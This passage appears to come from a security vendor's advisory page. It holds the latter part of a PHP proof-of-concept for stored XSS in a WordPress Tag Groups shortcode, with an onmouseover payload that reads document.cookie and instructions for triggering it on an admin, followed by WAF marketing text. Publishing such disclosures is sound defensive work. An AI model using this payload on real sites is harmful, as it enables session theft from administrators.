$login_url = $target_url . '/wp-login.php';
$post_fields = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Create a new post with malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';

// First, get the post nonce (simplified; actual may require parsing)
// For brevity, assume we can directly POST to wp-admin/post.php with action=editpost
// In a real scenario, you'd need to extract the _wpnonce from the new post page.

// Note: This is a simplified PoC. The actual nonce retrieval and post creation
// requires more steps. The payload below is the key part.

$payload = '[tag_groups_alphabetical_index column_count="2" column_gap="1px;" onmouseover="alert(document.cookie)"]';

$post_data = array(
    'action' => 'editpost',
    'post_ID' => '0', // New post
    'post_type' => 'post',
    'post_title' => 'XSS PoC',
    'content' => $payload,
    'post_status' => 'publish',
    // Nonce would be required here
);

// For a real exploit, you would first GET /wp-admin/post-new.php to extract _wpnonce,
// then POST to /wp-admin/post.php with the nonce and above data.

// This PoC is incomplete due to nonce complexity, but demonstrates the payload.

echo "PoC payload: " . $payload . "n";
echo "To exploit, create a post with this shortcode as a Contributor+. When an admin views the post, the XSS triggers.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.